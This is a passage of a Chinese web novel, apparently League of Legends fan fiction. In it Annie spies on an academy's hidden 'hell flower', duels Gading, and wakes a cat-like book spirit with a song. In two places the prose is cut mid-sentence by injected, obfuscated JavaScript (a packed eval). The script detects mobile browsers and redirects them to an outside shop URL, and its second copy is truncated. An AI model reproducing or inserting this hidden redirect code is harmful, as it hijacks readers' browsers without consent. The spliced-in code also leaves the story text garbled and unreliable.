就像避免让卡伊特发现真相一样,她也开始避免让卡伊特拥有开枪的权力,于是,不知从什么时候开始,她们的交流变成了“长官”、“嗯”。 拉缇和卡特的唯一一次碰面,是卡伊特出临时任务的时候。 她没有促膝长谈,只是在卡特让她停止帮卡伊特搜集资料的时候,干脆地说“不”。 “你以为你这样就是在帮她了吗?” 卡特的眼神依旧冰冷而锐利。 但拉缇毫不示弱。 “至少,你是在害她,而我是在救她。” 救她。 可惜,最后还是没能救到她。 金克丝是卡伊特的另一个底线。 可以谈及的底线。 如果说,卡特和卡伊特一直维持着一种微妙的平衡,就像彼此各自拿着木棍的一头,行走在钢丝上,那么金克丝就是从中间劈断木棍的刀。 她犀利又张扬,用雷霆手段将现实赤裸裸地展示在卡伊特面前。 “正义”,是她嘲讽卡伊特的词语。 女警再也握不稳手中的枪,因为她不知道子弹究竟应该打向何处。 就像知道拉缇一直在劫富济贫一样,卡伊特也知道金克丝从未真正害过人,她掠夺的都是不义之财。 可惜,她成为不了卡伊特的朋友,在第一次,卡伊特看到金克丝跪在卡特车前,声泪俱下陈述冤屈的时候就知道。 事情的最后,海盗和警察达成了和解,但是罪犯和警察没有。 卡特终于让卡伊特亲手结束了正义的生命。 拉缇不知道如何挽回,她甚至没见到卡伊特的最后一面。也许,卡伊特是害怕吧,害怕还会苟延残喘下去,害怕还会选择逃避。 就像过去的无数次一样。 但卡伊特终于勇敢了——倘若第一次面对黑暗,她也能这么勇敢就好了。 现在,她拿着卡伊特的配枪,卡特拿着她们唯一的合照,路西瑞城第一女警就这样消失得无影无踪,和从未出现过的正义一样。 她也该踏上那条早就该踏上的路了——两个人。 22. 22 安妮随便选了一个方向下山,并没有等待拉缇的意思。 因为她还有更重要的事情要做。 马不停蹄地赶到光明学院,正好是夜晚。安妮于是易容,潜入光明学院,准备给加丁下一封战书——引诱他离开光明学院。 学院外层的防御围墙很高,大概是参考了恕瑞玛金字塔的陷阱,最上面竖着一排排尖刺,表面还都是荆棘。 不过这一切对安妮来说并没有任何阻拦效果,她轻轻松松便屏蔽了启元录的探查,隐藏了信息,翻越进去。 熟悉又有些陌生的高墙让安妮想起初入学院时看到的大门,时隔近二十年,再次进来,却是这样的身份…… 从后院到达校长办公室还有一段路,但莫斯卡早已准备好学院制服,调查了最近的学生打扮。她现在就是一个外出历练十多年的学员,晚上回来只是想不动声色地看望老师。 路过一个熟悉的草丛,即使不断提醒自己前进,安妮还是驻足了片刻。她记得曾经的自己就是穿过这条小径,坐在晚风吹拂的凳子上,和莫斯卡谈心,和木木相处,和月光交融…… “唉,要是我的老师是菲缇就好了。” 一个略显稚嫩的声音打断了安妮的思考,听到这个熟悉的名字,安妮顿住了脚步。 “你快别说了,谁不想当菲缇老师的学生?都怪安妮,伤透了菲缇老师的心,不然咱们现在肯定有机会做她的学生的。” 安妮? 我? 安妮屏住呼吸,聆听着两人的交谈。 湖边的小木凳子确实是夜晚互诉衷肠的最佳地点,学生们对比各种任教老师也是日常,因此安妮毫不怀疑,她是误入了两个普通学生的谈话中。 抱怨还在继续,不过都已经在说菲缇和她们现任老师的区别。 现任老师有多严厉,菲缇就有多温柔;现任老师教学有多差劲,菲缇就有多优秀……可是,菲缇不是莫斯卡吗?她们怎么还敢这么明目张胆地夸奖菲缇? 安妮见听不出什么,纠结片刻,还是站了出来。 “晚好啊,两位……学妹?” 看见安妮,两个孩子都吓了一跳。 但听到“学妹”二字,她们都放松了身体。 “你好,我叫安朵。” “我叫维思,你是?” “我叫娜依特,是你们的学姐。” 安妮露出一个亲人的微笑,搭配上娇小的身材,格外无害。 “学姐?” 维思露出惊讶的表情。 实在是安妮看起来太小了,一米五几的身高,稚嫩的脸庞,一点也不和“学姐”两个字沾边,恐怕说是她们的学妹它们都会信。 “我修习冰灵力,所以成长有些缓慢。” 不得不说,这样的体型真的非常让人卸下防备。安妮一边说一边自来熟地坐到两人的右边空位,一张长凳子被挤得满满当当,但是又恰到好处。 “我刚刚听到了‘菲缇’老师的名字。她算我的半个导师,在我出远门历练前指导过我一段时间——无偿的那种。所以你们说到她,我有点好奇,她怎么了?” “没想到你还见到过菲缇老师,你们真是太有缘了!” “是啊,还做过菲缇老师的学生,真羡慕你。” “菲缇老师性格很好,你们想做她的学生去申请就可以了,干嘛这么遗憾?难道菲缇老师不在光明学院任职了?” 光明学院的学生出门历练的时间有长有短,地点也五花八门,因此消息闭塞很正常。安妮问完后,两人立刻打开了话匣子,一人一句给安妮科普。 在她们都描述里,没有莫斯卡多存在,菲缇就是菲缇。 温柔、优秀、充满魅力。 但是很可惜,她被自己的学生伤了心,从此退出光明学院,再也不做老师了。 那个学生,就叫安妮。 安妮天赋不高,甚至拿不到光明学院的任何一个第一,但是刻苦努力,菲缇甚至为她辞去了管理班级的责任,为了她能更好地学习,还申请了一堆特权。 但是安妮为了迅速提升成绩,居然在偷偷修习黑魔法,还被校长发现了。校长要求安妮停止学习并且接受惩罚,但安妮拒绝了。 最后,校长将安妮放逐灾难丛林,而菲缇被安妮伤透了心,从此不再任教。 这个故事里,没有深渊权杖,也没有莫斯卡。 加丁成为了一个发现黑魔法的人,仅此而已。 那个审判会,也变成了他审判黑魔法的正义殿堂,而不是用来抢夺深渊权杖的被逼手段。 安妮套话的能力很强,因此很快就借助信息拼凑出了一切,但是这样的真相,她无法接受。 难道亲眼目睹的人都是加丁的爪牙吗?那么多学生,就没有一个会说出真相吗? 就算事情发生在光明学院,圣城的那些权贵不是也在吗?他们难道就完全听命于加丁? 安妮忽然想到摩斯所说的那朵花,那朵能够操控人心的地狱之花。但是他明明说加丁也还在研究阶段,别说二十年前,就是现在,花都还不一定被培养出来了。 究竟为什么? 维思和安朵已经离开,安妮坐在长凳上,仿佛又回到了从前。 但这一次,陪伴她的变成了伊娃。 “其实真相很好猜到不是么?加丁改变不了事情的经过,但是有一个人可以。” “有一个人?” “天道。” 这个世界的天道,早就成为有感情的主宰,在伊娃的心中,它就是人。 “为什么?” 难道她现在的记忆,都是天道捏造的吗? “天道早已和加丁狼狈为奸,为什么很好猜不是么?” 是啊,很好猜。 加丁不会允许光明学院如此有口碑有权力有地位的老师是黑暗的卧底,不会允许他的行为有一丝卑鄙无耻,不会允许任何人知道光明学院蝉联第一的优秀学生是为了自保反抗他。 “真相不会就这样消失的……” “这你倒是没说错,我想有关一切的记忆,都被藏在了某个地方。在很久以前,诸神之战的经过被人篡改的时候,我就这么想了。” “诸神之战也被人篡改过?” “现在所有人都认为诸神之战是正义与邪恶的对决,而我是黑暗的那一方,但其实……算了,只有亲身经历一切,你才会理解,我说再多你都不会信的——就像你不信加丁是弗斯一样。” 安妮垂眸,没有回答,但她其实想说,她有一点相信了。 连卡伊特从小视为偶像,教会她枪法身法和生活的卡特都是那样黑暗的存在,又有谁是完全光明的呢? 但知晓真相的她不会和卡伊特一样,逃避——说到底,她最后的自杀是勇敢,但何尝不是另一种逃避。 但在她面前,不论加丁是谁,他最后,都只能是一具尸体。 安妮离开那个湖泊,很快找到路朝加丁的办公室赶去。 很奇怪的是,加丁的窗户居然没有关闭得严严实实,这倒方便了安妮的行动。她将窗子打开,把一张纸条放到桌上,没有惊动任何探查法阵。 做完一切后,她退出房间。环顾四周,没有崭新的布置,加丁的办公室甚至还和十几年前的布局无甚差别。 那么……别的地方呢? “你在光明学院生活了十几年,加丁之前还做过你的老师,你应该知道他把负面情绪连带着魔兽封印在哪里吧?” “你说……那个房子?” 记忆里,也就那个巨大的,装满水晶球,甚至用启元录镇压的房子,足够让安妮产生怀疑了。 “你该谢谢加丁,他为了欺骗你带你去过太多禁地,那是莫斯卡作为菲缇都没有权利踏足的地方。” 安妮不置可否,只是循着记忆,朝自己知道的方向走去。 加丁应该是用特殊手段隐藏了路线的,但感谢基兰爷爷守望麦田的锻炼,安妮对破解迷宫很有心得,不一会儿,她就看到了那个白金色的房子。 不同的是,上一次的自己一下子就走到了这里,眼中充满好奇和欣赏,但这次,她看到了那间房子背后的影子,那么黑暗深沉。 “我感受到了负面情绪的力量,看来摩斯说的那朵花就在这里。” “那朵花?” 安妮这次是真的没忍住,她一直以为那朵花是摩斯为了自保骗人的。 “不然你以为,弗斯只会依靠天道的力量?他从来都只相信自己,天道对他的帮助只会越来越少。” 这次的门被关闭得严严实实了,并且,压根没有窗户。安妮在外面站了很久,还是没想到进去的办法。 “你可以用神识,放心吧,我会帮你看着周围的,有危险第一时间通知你。” 伊娃随时都有机会杀掉自己,因此安妮从不怀疑自己和她的荣辱与共关系。伊娃说完以后,安妮便找了个地方,隐藏起身形和气息。 随后,放出神识。 加丁应该压根没想到会有人能够如此熟练地操控神识,并且还是在他的眼皮子底下去他的禁地, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296899|198573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因此房子内并没有什么察觉绞杀精神的东西。启元录乖乖待在原本的位置,还是保持着翻开的状态。 上一次这里只作为一个交谈的地方存在,安妮进来后连距离身边最近的桌子都没心思观察。 这次她不敢遗漏,从房门入口开始一点点巡视,想把目之所及全部刻在脑海里。 桌子上的水晶球不多,一共七竖排,十四个长桌,每个桌子上水晶球的数量不等。安妮的记忆没那么好,并不知道这样的布局和十几年前有没有差距。 第一个长桌上的水晶球有四个,属于最多的,从左往右颜色分别是紫色、黑紫色、棕黑色和黑色,名字则是“毒蟾”、“嗜血蜥”、“暗刺豪猪”、“吞渊蛟”。 下一个桌子上则有两个水晶球,一个土黄色一个金黄色,分别叫“布袋鼠”和“金钱豹”。 之后的四张桌子上还有一到三个水晶球,都写着不同的魔兽名字,想来里面装的就是那些魔兽了。 那她之前训练自己对抗的魔兽应该也是这里面的,只是实力没那么强,加丁当时给她接触到的肯定都只是渣渣。 但是,到达最后一张桌子,上面空无一物。 这些魔兽应该是有什么用处才会被单独拿出来,收容在不同的桌子上,而这张桌子的空缺意味着加丁还缺少点什么。 越靠近启元录,越能感受到一股让人不适的力量。这种不适在安妮站到最后一张桌子边的时候达到了巅峰,她只能暂时放弃记忆和思考,开始寻找让自己产生不适感的源头。 很好找,就是启元录。 她如今只是神识状态,因此触碰不到物质,但是她竟然在启元录内感受到了空间。 这意味着启元录被加丁开辟了精神空间,而那里面…… 上次她进入自己的意识空间,看到了分割出来的那个“自己”,因此这已经是第二次她再次进入精神空间,也算有点经验。 很快,安妮就适应了空间内的黑暗,以及那个轻飘飘的但存在感极强的自己。 她不需要怎么观察,前方就是那朵自己寻觅的花。 血红色的宽长花边,就像一块块肉片叠在一起,内里是一圈漆黑,最中间的黄色花蕊如同毒蛇的竖瞳,明亮危险。 黑色的土壤不断供给它营养,连安妮都感受到了那正悄悄滋长的邪恶。 她试图靠近,但被一层无形的气墙挡住。安妮不敢打草惊蛇,只能退出去。 回到自己的身体以后,安妮马不停蹄地离开光明学院。 一直回到了安全的郊外,伊娃才适时地出声:“怎么样,你看到了吗?” “看到什么?” “那朵,地狱之花。” 安妮沉默了,毕竟之前一直否认的是自己,如今亲眼目睹的也是自己。 好在伊娃还是一如既往地并不嘲笑安妮,只主动转移话题:“除了那朵花,你还有看到什么吗?我可不信那么长时间你都在数花瓣。” 想到桌子上的水晶球和一张张命名牌,安妮决定暂时抛弃自己的排斥,和伊娃交流一下。她直觉那些魔兽不简单,自己之前在无尽战刃战斗过,它们都是一个能顶半边天的,被加丁单独放出来肯定有大阴谋。 于是,安妮将自己在房子内的所见所闻都说了出来。 包括七张桌子,每张桌子上几个水晶球,写了什么…… “我想,我已经知道这些水晶球,或者说这些魔兽的用途了。” “用途?” 肯定不是打架那么简单,但魔兽还能用来干什么? “植物生长需要养料,从七原罪的土壤中生长出来的花朵,需要的自然就是七原罪。那七张桌子上的魔兽,对应的特点不就是七原罪?” 毒蟾、嗜血蜥、暗刺豪猪和吞渊蛟暴食,布袋鼠和金钱豹贪婪…… 所有的桌子上都有与七原罪相对应的魔兽,除了……色欲。 因为魔兽不会繁殖,没有孩子,因此不可能接触到色欲,这就是为什么有张桌子是空的。 异世界产生生命的方法和本世界的方法是不一样的,他们需要像动物一样□□才能孕育生命,那么加丁就绝不可能培养出地狱之花。 这算是个难得的好消息。 “你先不要高兴得太早,弗斯不是会轻言放弃的人,他既然不辞辛苦地筛选出具有其他六原罪的魔兽,就说明对这个带有色欲的魔兽,他势在必得。” “他不会成功的,难不成他还能穿越时空从异世界抓一只魔兽来不成?” “但愿不会吧。” 23. 23 一个寻常的早晨,阳光明媚。 加丁拄着拐杖,一步一步缓慢地朝办公室走去。 推开门,空荡荡的景象。尽管已经适应了很多年,但他还是垂眸,心中划过一丝失落。 这一次,办公室是真的空了。 再也不会有人坐在靠墙的凳子上,手里拿着更新的探险资料。 他走近一些,才发现办公桌上多了张纸条。简短的话语,却让他瞳孔一缩。 [今天下午六点,繁茂密林东口等你] 落款是安妮。 字迹很潦草,和她十几年前的风格一样稚嫩张扬——说白了就是狗刨式。不过能看出背后的成熟,看来她这几十年经历很丰富。 加丁握拳,再张开,手里的纸张已经化为齑粉。 他坐下继续办公,就好像这是寻常的一天。 太阳逐渐落山,窗外的阳光越来越昏黄。墙上的挂钟指向五点十分,加丁推了推眼镜,拿起手边的权杖,打开门,朝一个方向走去。 校长办公室的整个楼层都没有人,他步履沉稳却并不慢地赶到那间白房子,随后,将房子最里面展开的那本启元录合上,收入袖子。 尽管安妮的邀约并不郑重,但他从不会拿自己的生命开玩笑。 拿到启元录以后,加丁随便找了个方向离开。没有走门,甚至没有引起任何人的注意。 连莫斯卡特意派在光明学院附近蹲守的眼线都不知道加丁离开的消息,可见安妮的约战还是很明智的。 繁茂密林的东口是一个很特殊的地方,不少在圣城或者路西瑞城产生纠纷与恩怨的人都会来这里解决,可以说是一个自然的擂台,因此加丁甚至不需要特意留出时间寻找。 看见草地上红发赤眸,身着羽毛裙的少女,沉稳如加丁,也产生了一丝惊讶。 不过她的身高倒没有什么变化,身材也一如既往地瘦小。 “好久不见。” 安妮看着缓缓落地的加丁,眼中,情绪复杂。 她应该是憎恨的,但是时隔这么久,她已经知道,最应该憎恨的不是加丁。这个黑暗的世界造就了加丁,而她同是黑暗的孩子,她没资格指责他。 老人还是穿着白金色的长袍,手持权杖,和安妮一样,他也没有仇人见面分外眼红的情绪,格外淡然。 “好久不见。二十年过去,你……好像没长。” 加丁就是有一种魔力,能够简简单单一两句话就拉近和你的距离,比如现在。苍老的他说出这样俏皮的话,让安妮仿佛一下子回到了很小的时候,和加丁促膝长谈互相调侃的日子。 她深吸一口气,裙子上的幽冥扇卸下,飞到她的双手上。 安妮看到了加丁眼中一闪而过的贪婪,这才是他应有的情绪,安妮松了口气。 “来吧,有些恩怨该了结了。” 她拿着扇子背在背后的手指微动,做了个手势,但加丁并不知道。 他只是后退两步,举起光明权杖。刺眼的白光瞬间铺天盖地地压来,熟悉的感觉让安妮微愣。 十几年前,就是这道光秒杀了她。 但如今…… 安妮举起幽冥扇,熔岩护盾瞬间在周身支起,甚至连光都尽数熔化。她破开光障朝加丁劈砍去,就像是在斩杀过去弱小的自己。 “幽冥寒焰!” 加丁不敢怠慢,袖子里的启元录飞出,堪堪挡下安妮一击,他却连退数步。 只有幽冥寒焰具有熔化一切的力量,包括他的光。 “你其实可以不用那么早暴露的。” 识海边缘的伊娃对两人的试探攻击做出总结。 “我想。” 只有直面这道光,才能感知到现在的自己有多强大。 恩怨,不止包括她和加丁的恩怨,还包括她和过去自己的恩怨。 “好吧,随你。”伊娃依旧语气轻松,因为她知道安妮不需要帮助,“虽然你很厉害,但我还是提醒一下,弗斯的阵法无人能及,不知道就在哪里埋了炸弹,你最好在他跑掉前重伤他,免得后患无穷。” “我知道了。” 安妮已经不反驳伊娃的称呼,也许是她觉得反驳没用,也许是她自己都觉得伊娃的称呼没问题。 加丁并不知道安妮和伊娃简短的对话,他只是双手紧握光明权杖,虔诚地闭眼默念咒语。神圣的白色光圈在权杖的宝石中出现,紧接着迅速展开,形成阵法,朝安妮打去。 衣袂翻飞,加丁的胡子都连带着舞动起来。巨大的能量使森林里的树木都不堪负担纷纷腰斩,法阵目标的安妮都感觉到了一丝威压。 但她毫不畏惧,只是腾空而起,以身为箭,刺向加丁。 法阵玻璃般破碎,红箭却没有停顿丝毫。加丁直接翻开启元录,将书本横在身前。 “轰!” 熊熊烈火再次燃起,启元录瞬间化为灰烬。在接触到加丁的瞬间,他如同流沙般解体。 “呼……” 余风轻拂过地面,带走残沙。 安妮落地,环顾四周,却没有一个人影。 加丁跑了。 安妮甚至不知道是什么时候。 不,也有一点察觉到的,大概是加丁放出法阵的那一刻。法阵的威力不容置疑,但是法阵背后,形成它的主人早已离开。 “我早就说过,弗斯的阵法很厉害,不过这也算给你个教训吧,起码你知道他金蝉脱壳的方法了。” 伊娃倒对加丁的成功逃跑没什么感觉,她大概早就预料到了。 安妮颓败地收起幽冥扇,看着地面,若有所思。 “虽然没杀死他,但光明学院已经被成功偷袭,加丁回不去了。我觉得你现在要做的首要事情,是想办法摧毁那朵万恶之源。” 是啊,那朵花才是关键。 “但是我伤害不了它。” 要是可以,自己早做到了。 “你不需要毁掉它,你只需要将获得它的渠道关闭,自然不会再有人能够得到它。” 将通道关闭?那不就是毁掉启元录? 幽冥寒焰能够燃烧一切,包括神器,或许真的可以做到。 那么当务之急,就是找到加丁的藏身之所,届时自然可以毁掉启元录。 定位这种工作,安妮一时之间还真想不到怎么做。科瑞特的监控一定能查到加丁的蛛丝马迹,但加丁可不会在同一个地方停留太久。 就是机器人看到,汇报上来也晚了。 还有什么定位的措施吗?安妮不知道。 “找不到定位的方法没关系,回去慢慢看就行了。加丁的藏书阁顶层,秘密可不少,定位法阵他肯定有的是。” 安妮总感觉伊娃不是在自己识海边缘,是在自己脑子中间,不然她怎么这么清楚自己的所思所想。 不过这确实是目前最好的办法,因此安妮只是犹豫片刻,便朝着光明学院走去。 此时的光明学院已经被莫斯卡占据,每个区域都会有卜拉克的人偶站岗或者巡逻。这里面的老师学生去了哪,会被怎样对待,安妮并不关心,她只是朝着校长办公室走去。 推开门,莫斯卡正瞧着二郎腿,坐在原本属于加丁的凳子上。她手里拿着一张清单,神情悠闲。 “欢迎回家,我的小主人——抓捕看来不太顺利。” “你怎么在这里?” 按理说,莫斯卡作为老师的时候,应该有很多地方是被禁止入内的。她现在能去了,却对那些地方没兴趣,反而留在校长办公室? “我也不想留在这里的,但谁叫资料没看完呢?”莫斯卡扬了扬手里的东西,感叹道,“我从不知道用来形容金币数量的数字能这么大,搜刮金币的手段有这么多!” 她夸张地说完,接收到安妮看穿一切的视线,咳嗽一声:“咳咳,好吧,我是见过,但你能想象,一座学校积累的财富顶得上卜拉克这几年靠战争搜刮来的战利品吗?” 莫斯卡摊手比了个大圆,以此表示内心的惊讶。 “什么?” 安妮傻眼了。 “你也想不到会这么多吧?”莫斯卡啧啧感叹,把清单递给安妮,“可别说我是为了抹黑弗斯欺骗你,你自己看看。” “生活费我知道,住宿和餐饮嘛,还有书本费打印费都是正常的……还有出游一次,门票保险……” 安妮总觉得有点繁杂,但好像每一个都不可或缺。 只是价格上有些难以接受,毕竟她很清楚食堂的饭菜质量如何。 “这些加起来,要这么多吗?” “是的。当初我是给你申请免了学费的,弗斯估计也懒得计较你那点凤毛麟角的收入,就没收别的。不然,你那一袋子金币我看着都不一定足够。” “不可能!这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“那个,当我没说。”她说完赶紧弥补,转移话题,“我是来问你藏书阁布局的,你知道阵法相关的书在哪里吗?” “阵法?你要找什么?” “定位阵法,我要确定……加丁的位置。” 安妮也不知道这个时候应该叫那个人什么名字,但她潜意识里,还是希望加丁就是加丁。 那个坏得纯粹的加丁。 而不是拯救了苍生,又为求私利迫害苍生的弗斯。 “我不知道,阵法的书应该都在顶楼,就算楼下能找到,也不是什么好货。你如果需要的话,我可以把你带过去,不过仅此而已了。守护藏书阁的是一个守阁人,想到到达顶部,恐怕需要他的帮助。” “守阁人?” “弗斯顶楼的藏书阁可不简单,除了阵法遍布以外,还有一个守阁人看守。进入那里,也还有书灵存在。最简单的办法就是让书灵帮忙,但无论是守阁人还是书灵,都是无法强迫的存在。你运气不错,据我所知,弗斯还没有完全收服书灵为他所用。” “也就是,你去了之后,只要得到书灵的欢心,它会很乐意帮助你的。” “我明白了。那,书灵有什么喜欢的东西吗?” “喜欢的东西?这个我没探听到过,弗斯也没说过。不过,如果真有的话,他估计早就找到献给书灵了,还轮得到你?” 莫斯卡的话简单粗暴但是很有道理,安妮只能作罢。 估计就是有,她也找不到,毕竟加丁找了几百年都没找到, “我虽然不知道书灵喜欢什么,但我知道,它一定讨厌故作博学的人。” “故作博学?” 这不就是加丁的姿态吗? 虽然,他似乎是真的博学。 “你想想,书灵因书而生,困在藏书阁,肯定已经遍览群书,藏书阁都不知道翻了多少遍了。在它面前,还有博学的人?就是加丁,也只能谦虚。” 这倒是…… “那我想,我知道送给书灵什么礼物了。” 既然博览群书,那自然是要送书上没有的东西。书上没有的东西,说白了就是这个世界上没有记载过的东西。 安妮在世间游历了这么多年,见过太多太多看似奇特但其实书里会有的东西,如果没有莫斯卡提示,她可能真的会自负,但有了警示,她就知道了。 24. 24 光明学院的藏书阁和图书馆不是一个地方,安妮也是走到陌生的教学场地,才意识到这个问题的。 与其说藏书阁是一座阁楼,不如说它更像高塔。一层一层,不用看都知道,最顶部有着最珍贵的书籍。 “到了,就是这里,我就不上去了,祝你好运。” 莫斯卡说完,见安妮没有问题,便干脆地离开。看着莫斯卡匆匆远离的背影,安妮有些奇怪。 其实,一开始她就很怀疑莫斯卡的话了。就算藏书阁有守阁人,但莫斯卡已经将光明学院整个收入囊中,怎么会允许这么重要的地点还残留余孽? 但是,她却任由守阁人继续占着藏书阁,甚至靠近都不敢。 但是莫斯卡没道理害她,毕竟她的大主人小主人都是自己…… “你还不上去?杵在这里是干嘛,害怕了?” 脑海里,伊娃的声音依旧闲适淡然,一听就知道她是知晓内幕的。安妮纠结片刻,还是主动发问:“那上面,到底有什么?” “不排斥我了?” 伊娃笑着,安妮眼前仿佛出现一个暴露的性感女人,抚摸着自己的脸颊,危险又诱惑。 她勾唇,邪笑:“找到进入藏书阁的路径,才能找到剥离你的办法不是?” “你还真是诚实。”伊娃叹了口气,“好吧,不妨告诉你,上面那个人叫柏林,称号……盲僧。” 盲僧,身法诡谲,力大如牛,虽然眼盲,心却不瞎。甚至,因为独特的感知世界的能力,盲僧很早就看穿了世界的黑暗。他从此隐居山林,探究武学的巅峰。 弗斯当初靠着一个阵法,请求盲僧出山,看守藏书阁。 那个阵法叫什么,莫斯卡不得而知,但有一点很容易查到:阵法之内,万物平等。 就像恕瑞玛的金字塔内一样,灵力在其中丝毫不起作用,有效的只有身法。而硬碰硬,力量上的第一也许是斯特恩斯,但武功就一定是盲僧了。 阵法之内无敌,也难怪盲僧愿意迁居。 伊娃介绍完,安妮的脚步停下了。 她并不觉得自己能打败盲僧,即使她跟着金克丝练习了那么久的身法。 追求极致的人所达到的高度,是常人无法触及的。就像艾德文特的极限是探险、科瑞特的极限是发明,这些高度夸张到,安妮甚至难以想象到。 “你也不用那么担心,进入藏书阁的要求不一定就是在阵法内打败他。” 伊娃很乐观,但安妮直摇头。 她觉得,自己有必要正视这个守阁人了。 “你刚刚说,盲僧看不见?” “不然他叫什么‘盲僧’?”伊娃说完,立刻福至心灵,但随后又赶紧劝道,“你和弗斯完全就是两类人,你装不了他的。” 未免打击安妮,伊娃没说,盲僧虽然瞎了眼,但他能看穿人的心灵。区分安妮和弗斯,简直易如反掌。 若不是看到太多人心险恶,他也不会隐居了。 “阵法内灵力无效,说明他不可能通过其他手段分辨出我和加丁的外貌,为什么不行?难道,你还有更好的办法?” 伊娃沉默了。 她的想法是,让安妮上前知难而退,随后再表露自己知道阵法的意思,让安妮主动求助自己。 这样,安妮也别想得到剥离自己的阵法,只能去追杀弗斯,两全其美。 所以她巴不得安妮快点失败,根本不可能帮安妮思考怎么进入藏书阁。 见安妮心意已决,伊娃不再阻止,笑道:“行吧,试试也无妨。” 反正失败了正合她意。 藏书阁塔下,一棵参天大树孤零零站着,下方打坐的步李一动不动,仿若石像。 忽然,苍老的脚步声从远处传来。 缓慢的、沉稳的,一步一步,踩进步李的心里。他从打坐的状态中脱离,看向声音来源。 “谁?” 步李是一个高大威猛的青年男子,让安妮感到意外的是,他竟然没穿上衣,精壮的腰身处,红裤腰带扎着灰黑色长裤。 头顶一条长长的辫子几乎拖到脚踝,眼睛被丝带蒙着。 “我。” 安妮的回答很简短。 即使有科瑞特的拟声器帮助,安妮话还是不多。 她回答完便仔细看着步李,垂在身侧的双手握紧,随时准备出击。虽然她特意伪装了加丁一番,即使看得见的人都不一定分得清,但还是不敢懈怠。 步李站在安妮面前,还是一动不动。就好像一台机器,正在无声地扫描来人的信息。 过了一会儿,他握紧拳头,让开身位,挥手打开藏书阁一楼的大门。 “进去吧。” 安妮还是防备着,但直到进入藏书阁,她都没有等到步李的攻击。 “你进来了!” 伊娃难以置信的声音几乎在安妮进入藏书阁的一瞬间响起。 未免分心,安妮要求伊娃在自己和步李对话的时候不要说话,因此进入藏书阁后伊娃才惊讶。 步李没有跟着走进门,因此安妮能一边上楼,一边和脑子里的伊娃交谈:“我说过,试试。” 其实,她也觉得这个办法并不如何。在直面步李的时候,安妮都做好被看穿打一架,随后被赶出去的准备了,谁知,步李竟然放人了。 不过,兵来将挡水来土掩,不管步李出于什么目的,把她放进门对她来说就是百利而无一害的。 安妮急速往楼上走着,伊娃不再说话,她也乐得自在。 这种书海中徜徉的感觉很放松,放眼望去,一本本书籍、一捆捆卷轴有序陈列。安妮仿佛明白了科瑞特面对机器时,那种欣喜的感觉。 只是很可惜,没有看到书灵。 藏书阁从外面看是一层一层的,但里面的楼梯旋转着就到了顶部,周围全是书籍,根本不分层数。正是这种一览无余的感觉,让人有如置身书海,敬畏之情油然而生。 而一直到最顶端,安妮也没看到任何活物。 顶端有一个很小很小的平台,仅容一人站立,面前则是一个讲台。这个讲台和安妮以前看到那个,用来盛放演讲稿的台子一模一样。 可能材质有些不同,但总归都是木头。 上面是一本打不开的书,写着《创世纪》。 记载圣语的书名叫《旧世纪》,安妮不知道这两者是否有关系。 走到讲台后面,安妮面对着的是一堆书籍。她有种给书籍讲课的感觉,但面前这些古书年龄估计都够做她祖宗了。 “看样子,莫斯卡说的书灵好像不在。” “不是不在,应该是睡着了。” 书灵和树爷爷很像:漫长的岁月,无尽的生命,却困于一隅无法离开。以前安妮还会想这样活着能做什么,后来她知道了。 睡觉。 书灵可能还有个活动就是看书——和树爷爷给小小妮小小木讲故事一样,算作为数不多的娱乐活动。 但睡觉肯定才是大头。 现在,书灵指不定在哪本书里睡得正香呢。 “那你打算怎么唤醒它?我看火烧图书馆是个不错的想法。” 伊娃又开始胡说八道找骂了。 安妮懒得理会,一开始她还会嘲讽伊娃的智商,后来她才意识到,这是伊娃搭话的一种方式。 她才不会上当。 感谢讲台的设计,站在最顶端,就可以把声音传到整座塔。 “咳咳。” 安妮把手撑在讲台上,清清嗓子,随后……开始唱歌。 “看着世界下雨,替我擦干泪滴。” “因为爱,是一种互相吸引……” “蒲公英”,凯德阿姨教给她的第一首歌。安妮还记得,那时小小的自己,坐在凯德阿姨腿上,跟着她的旋律磕磕绊绊。 “感谢扑朔迷离,才让我看懂勇气。” “逆风前进,我都静静守着你。” 那时的安妮并不知道,抱着自己的凯德阿姨,低头是什么表情。她稚嫩地唱着“前进”,凯德阿姨默默接上,“守着你”。 “经过挫折的担心,才有期待的剧情。只要我们用力相信,跨过悲欢后黎明……” 跨过悲欢后,真的是黎明吗? 安妮眺望远方,只看到一本本陈旧的书。 她记得,那晚的黄昏很美。凯德阿姨的歌声在草原上飘荡,和阳光一样温暖到她的心里。 那时候的自己,充满希望,也和阳光一样。 “要做勇敢的蒲公英,随风飘哪里。就算曲折,我们依然不放弃……要更爱你的决定。” “抬头看天空的星星,明亮而坚定!幸福就会在我们,经历了困境,深爱不离不弃……” 随着最后一个音符落下,安妮摸了摸湿润的眼角。把手放在讲台上,冰冰凉凉的。 “没有了吗?” 一个孩童般稚嫩的声音响起,紧接着,一本书突然从不知哪一层的书架抽出,飞到安妮面前。 书籍飞来的同时迅速打开,从里面钻出一只蓝白色的猫咪。 大大的眼睛,蓝宝石般闪耀着。黄色的粗眉毛,头顶则是一个小皇冠。精致的脸庞,胸口还有倒三角形状的浓密鬃毛,高贵优雅。 安妮没想到书灵竟然会是猫,她一时有些怔愣。 “怎么了?我说,没有了吗?” “没、没有了。” 那个时候的她只是坐了一会儿,便感觉不耐烦,歌也学不下去了,所以没有第二段。 知道第二段的人已经不在了。 “你好像很失落?” “啊?还好吧……” “眉毛下垂、双眼空洞、轻抿嘴角,是失落的表情,哪本书说的来着……” 猫咪用肉垫撑着下巴,眼神灵动地思考着。 “你真的是书灵?” 